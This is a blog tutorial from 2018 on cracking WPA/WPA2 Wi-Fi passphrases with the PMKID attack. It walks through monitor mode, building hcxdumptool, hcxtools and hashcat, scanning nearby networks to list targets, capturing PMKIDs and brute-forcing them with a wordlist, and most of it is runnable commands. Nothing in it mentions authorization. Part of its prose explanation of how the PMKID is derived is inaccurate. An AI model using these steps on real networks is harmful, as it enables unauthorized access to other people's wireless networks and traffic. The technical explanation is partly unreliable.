How to Crack WPA/WPA2 passphrase with PMKID (Hashcat)

by hash3liZer . 10 August 2018

How to Crack WPA/WPA2 passphrase with PMKID (Hashcat)

Lately, a new pattern is discovered in WPA/WPA2 protocols to crack the WPA key passphrase which uses an alternative key to that of 4-way handshake. This new attack uses an identifier key named PMKID in place of MIC which is supplied in the first packet of 4-way handshake. So, this new technique made the WPA cracking more effective and easier than ever before.

The 4-way handshake is in itself dependent on it's 4 frames to compute the hashed key. So, in order to crack the WPA/WPA2 key, we require a complete WPA handshake to crack the password. But with this vulnerability discovered by Jen Steube we are no longer dependent on deauthentication frames, clients etc. Now, we are better able to crack the key by initiating an authentication process with the access point. Let's see.

Here's how the Pairwise Master Key ID (PMKID) is computed. Basically, it's the concatenation of PMK key, PMK secret key, MAC of AP and MAC of STA.

PMKID = HMAC-SHA1-128(PMK, "PMK Name" | MAC_AP | MAC_STA)

While in this case, the computing process is rather simple. The former method of cracking requires a valid handshake, comprised of at least the first two EAPOL messages to compute the MIC code which then has to be matched at second or fourth frame (relatively different concepts). Here's the python version of the previous method:

PMK = PBKDF2("PASSWORD", "ESSID", 4096).read(32)
PTK = PRF512(PMK, "Pairwise key expansion", DATA)
MIC = hmac.new(PTK[0:16], payload, hashlib.md5).digest()  # For WPA
MIC = hmac.new(PTK[0:16], payload, hashlib.sha1).digest()  # For WPA2

Prerequisities

Let's make it up. You would need a Kali Machine and wireless Card that supports packet injection and monitor mode. Tested with Alpha from TP-Link, worked fine. A vulnerable WPA2 router. Here's a picture of EAPOL from a vulnerable router:

vulnerable router

STEP 1

Setup environment.

Put your wireless card in monitor mode:

$ airmon-ng start wlan1

Next thing is, we need some tools from github. The list is:

  • hashcat >= 4.2.0
  • hcxtools
  • hcxdumptool

Installation:

Update the environment first and install the dependencies:

$ apt-get update
$ apt-get install libcurl4-openssl-dev libssl-dev zlib1g-dev libpcap-dev

If you are on Kali, hastcat would already be in repository packages. You would need to first uninstall it and then install the latest version from github:

$ apt-get remove hashcat
$ git clone https://github.com/hashcat/hashcat.git
$ cd hashcat/
$ git submodule update --init
$ sudo make && sudo make install

hashcat

Then make sure, you have the version >= 4.2.0 by using the command:

$ hashcat --version

hashcat version

Now, clone hcxtools from github and compile the binaries:

$ git clone https://github.com/ZerBea/hcxtools.git
$ cd hcxtools
$ sudo make && sudo make install

hcxtools installation

Then at last, clone hcxdumptool and compile the binaries:

$ git clone https://github.com/ZerBea/hcxdumptool.git
$ cd hcxdumptool/
$ sudo make && sudo make install

hcxdump installation

STEP 2

Get the PMKID

This step is about collecting the PMKID. Compile a list of your targets. Scan your area with airodump:

airodump-ng wlan1mon

unknown network

Now, create a list of your targets by writing the MAC address of target to a file:

mac address noting

Then start hcxdumptool:

$ hcxdumptool -i wlan1mon --enable_status --filterlist=targets.lst --filtermode=2 -o capturefile.cap

This will try to make the AP transmit the first EAPOL frame which then will be used to acquire the PMKID from the RSN element layer. Just keep it running until you get the message that PMKID is captured. Here's what it would look like:

[11:17:13 - 011] 001825c88749 -> fcc2336e8b64 [FOUND AUTHORIZE \
HANDSHAKE, EAPOL TIMEOUT 3605]
[11:17:13 - 011] 001825c88749 -> fcc2336e8b64 [FOUND PMKID]

STEP 3

Get the PMKID hash

As of now, we have the captured file. Now, we need to extract the PMKID hash from the capturefile.cap. Use hcxpcaptool for this:

$ hcxpcaptool -z pmkidhash capturefile.cap

Output:

added hashes

Now, check the added hashes:

$ cat pmkidhash

STEP 4

Crack the Code

We have the PMKID hash. All we need now is to crack it down using hashcat. Now, run the hashcat with the following syntax:

$ hashcat -m 16800 --force pmkidhash [wordlist]

This would start cracking the password. A successful attack would go like this:

hashcat cracked

Conclusion

WPA key passphrase can be cracked using PMKID which is located in the first packet of 4-way handshake. The first packet of 4-way handshake is basically sent by the WiFi or Access Point which contains some random keys to encrypt data and also contains the required PMKID key. A user just have to initiate a connection with the Access Point which in turn will sent the first EAPOL message to the client and the client just have to sniff that and start the cracking process.